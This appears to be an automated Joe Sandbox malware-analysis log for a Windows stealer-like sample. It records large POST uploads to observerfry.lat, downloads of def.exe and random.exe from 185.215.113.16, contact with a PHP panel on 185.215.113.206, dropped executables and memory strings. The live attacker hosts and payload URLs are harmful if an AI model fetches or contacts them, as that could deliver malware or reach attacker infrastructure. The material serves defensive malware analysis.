Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=39W0NIOLM1B8B8CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15057Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=COJSEW8USXAHXVDUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20224Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=YOLGSR73KGQ2HLH6JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1256Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=2Y40M4WKTVZKN385GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 588266Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 82Host: observerfry.lat
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: observerfry.lat

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: observerfry.lat

Source: 2jx1O1t486.exe, 00000000.00000003.1734697182.000000000139C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: 2jx1O1t486.exe, 00000000.00000003.1734697182.000000000139C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Q
Source: 2jx1O1t486.exe, 00000000.00000003.1734697182.000000000139C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1734697182.000000000139C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe0
Source: 2jx1O1t486.exe, 00000000.00000003.1734853262.00000000013B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe=
Source: 2jx1O1t486.exe, 00000000.00000003.1734697182.000000000139C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeW
Source: 2jx1O1t486.exe, 00000000.00000003.1734697182.000000000139C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe, 00000004.00000002.1850249772.000000000076E000.00000004.00000020.00020000.00000000.sdmp, NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe, 00000004.00000002.1850249772.00000000007C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe, 00000004.00000002.1850249772.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe, 00000004.00000002.1850249772.00000000007C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe, 00000004.00000002.1850249772.00000000007C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe, 00000004.00000002.1850249772.00000000007C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php7
Source: NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe, 00000004.00000002.1850249772.00000000007C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpO
Source: NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe, 00000004.00000002.1850249772.00000000007C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpS
Source: NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe, 00000004.00000002.1850249772.00000000007C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpp4vp4v1vx
Source: 2jx1O1t486.exe, 00000000.00000003.1548009348.0000000005A6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 2jx1O1t486.exe, 00000000.00000003.1548009348.0000000005A6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: 2jx1O1t486.exe, 00000000.00000003.1548009348.0000000005A6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 2jx1O1t486.exe, 00000000.00000003.1548009348.0000000005A6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 2jx1O1t486.exe, 00000000.00000003.1548009348.0000000005A6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 2jx1O1t486.exe, 00000000.00000003.1548009348.0000000005A6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 2jx1O1t486.exe, 00000000.00000003.1548009348.0000000005A6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: 2jx1O1t486.exe, 00000000.00000003.1548009348.0000000005A6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 2jx1O1t486.exe, 00000000.00000003.1548009348.0000000005A6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: 2jx1O1t486.exe, 00000000.00000003.1548009348.0000000005A6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 2jx1O1t486.exe, 00000000.00000003.1548009348.0000000005A6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: 2jx1O1t486.exe, 00000000.00000003.1490154786.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, 2jx1O1t486.exe, 00000000.00000003.1489870704.00000000059ED000.00000004.00000800.00020000.00000000.sdmp, 2jx1O1t486.exe, 00000000.00000003.1490022551.00000000059EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 2jx1O1t486.exe, 00000000.00000003.1550899833.0000000005A48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.
Source: 2jx1O1t486.exe, 00000000.00000003.1550899833.0000000005A48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta
Source: 2jx1O1t486.exe, 00000000.00000003.1490154786.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, 2jx1O1t486.exe, 00000000.00000003.1489870704.00000000059ED000.00000004.00000800.00020000.00000000.sdmp, 2jx1O1t486.exe, 00000000.00000003.1490022551.00000000059EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 2jx1O1t486.exe, 00000000.00000003.1490154786.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, 2jx1O1t486.exe, 00000000.00000003.1489870704.00000000059ED000.00000004.00000800.00020000.00000000.sdmp, 2jx1O1t486.exe, 00000000.00000003.1490022551.00000000059EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 2jx1O1t486.exe, 00000000.00000003.1490154786.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, 2jx1O1t486.exe, 00000000.00000003.1489870704.00000000059ED000.00000004.00000800.00020000.00000000.sdmp, 2jx1O1t486.exe, 00000000.00000003.1490022551.00000000059EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 2jx1O1t486.exe, 00000000.00000003.1550899833.0000000005A48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: 2jx1O1t486.exe, 00000000.00000003.1550899833.0000000005A48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 2jx1O1t486.exe, 00000000.00000003.1490154786.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, 2jx1O1t486.exe, 00000000.00000003.1489870704.00000000059ED000.00000004.00000800.00020000.00000000.sdmp, 2jx1O1t486.exe, 00000000.00000003.1490022551.00000000059EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 2jx1O1t486.exe, 00000000.00000003.1490154786.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, 2jx1O1t486.exe, 00000000.00000003.1489870704.00000000059ED000.00000004.00000800.00020000.00000000.sdmp, 2jx1O1t486.exe, 00000000.00000003.1490022551.00000000059EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 2jx1O1t486.exe, 00000000.00000003.1490154786.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, 2jx1O1t486.exe, 00000000.00000003.1489870704.00000000059ED000.00000004.00000800.00020000.00000000.sdmp, 2jx1O1t486.exe, 00000000.00000003.1490022551.00000000059EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 2jx1O1t486.exe, 00000000.00000003.1550899833.0000000005A48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi
Source: 2jx1O1t486.exe, 00000000.00000003.1651197289.0000000001395000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/
Source: 2jx1O1t486.exe, 00000000.00000003.1610077415.0000000001398000.00000004.00000020.00020000.00000000.sdmp, 2jx1O1t486.exe, 00000000.00000003.1607918590.0000000001395000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/p
Source: 2jx1O1t486.exe, 00000000.00000003.1610077415.0000000001398000.00000004.00000020.00020000.00000000.sdmp, 2jx1O1t486.exe, 00000000.00000003.1607918590.0000000001395000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/ra
Source: 2jx1O1t486.exe, 00000000.00000003.1734741321.0000000001395000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/t
Source: 2jx1O1t486.exe, 00000000.00000003.1550620756.0000000005CD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 2jx1O1t486.exe, 00000000.00000003.1550620756.0000000005CD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: 2jx1O1t486.exe, 00000000.00000003.1550899833.0000000005A48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44
Source: 2jx1O1t486.exe, 00000000.00000003.1490154786.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, 2jx1O1t486.exe, 00000000.00000003.1489870704.00000000059ED000.00000004.00000800.00020000.00000000.sdmp, 2jx1O1t486.exe, 00000000.00000003.1490022551.00000000059EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 2jx1O1t486.exe, 00000000.00000003.1490154786.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, 2jx1O1t486.exe, 00000000.00000003.1489870704.00000000059ED000.00000004.00000800.00020000.00000000.sdmp, 2jx1O1t486.exe, 00000000.00000003.1490022551.00000000059EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 2jx1O1t486.exe, 00000000.00000003.1550899833.0000000005A48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: 2jx1O1t486.exe, 00000000.00000003.1550526591.0000000005ABA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: 2jx1O1t486.exe, 00000000.00000003.1550620756.0000000005CD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.0JoCxlq8ibGr
Source: 2jx1O1t486.exe, 00000000.00000003.1550620756.0000000005CD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.Tgc_vjLFc3HK
Source: 2jx1O1t486.exe, 00000000.00000003.1550620756.0000000005CD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 2jx1O1t486.exe, 00000000.00000003.1550620756.0000000005CD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713

Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.8:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.8:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.8:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.8:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.8:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.8:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.8:49715 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: 2jx1O1t486.exe	Static PE information: section name:
Source: 2jx1O1t486.exe	Static PE information: section name: .idata
Source: 2jx1O1t486.exe	Static PE information: section name:
Source: G1YXJMVDF5OIAHQBL77U48.exe.0.dr	Static PE information: section name:
Source: G1YXJMVDF5OIAHQBL77U48.exe.0.dr	Static PE information: section name: .idata
Source: NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe.0.dr	Static PE information: section name:
Source: NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe.0.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Code function: 3_2_00CB2135	3_2_00CB2135
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Code function: 3_2_00CAE135	3_2_00CAE135
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Code function: 3_2_00CB34E3	3_2_00CB34E3
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Code function: 3_2_00B3DE28	3_2_00B3DE28

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe C273D6ED364DF0CE719F57976C03DA75B86F25D0FDF2ED974BBF05BA059D1259

Source: 2jx1O1t486.exe, 00000000.00000003.1714546462.000000000648F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1708013859.000000000625A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1706366807.0000000006420000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1701487575.0000000005CB8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1706543153.0000000006260000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1734697182.000000000139C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1705645767.0000000006264000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1705107364.0000000006402000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1700048298.0000000005CB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1734234544.0000000005AF8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1703081263.00000000063D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1705964196.0000000006259000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1734741321.0000000001395000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1703850540.0000000006322000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1715143444.000000000637E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1701621155.000000000625E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1703738675.000000000625A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1708209024.0000000006354000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1702029152.000000000625F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1707315863.0000000006431000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1712538164.0000000006258000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1719368284.000000000625A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1703187087.0000000006259000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1711767888.000000000646C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1719642707.0000000006388000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1721766183.00000000063B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1718688500.0000000006390000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1718431944.0000000006257000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1704078105.0000000006256000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1704979493.000000000632C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1709600249.000000000635F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1702707907.00000000063B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1704320207.000000000631E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1722173167.00000000063B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1711351775.0000000006258000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1709230577.0000000006358000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
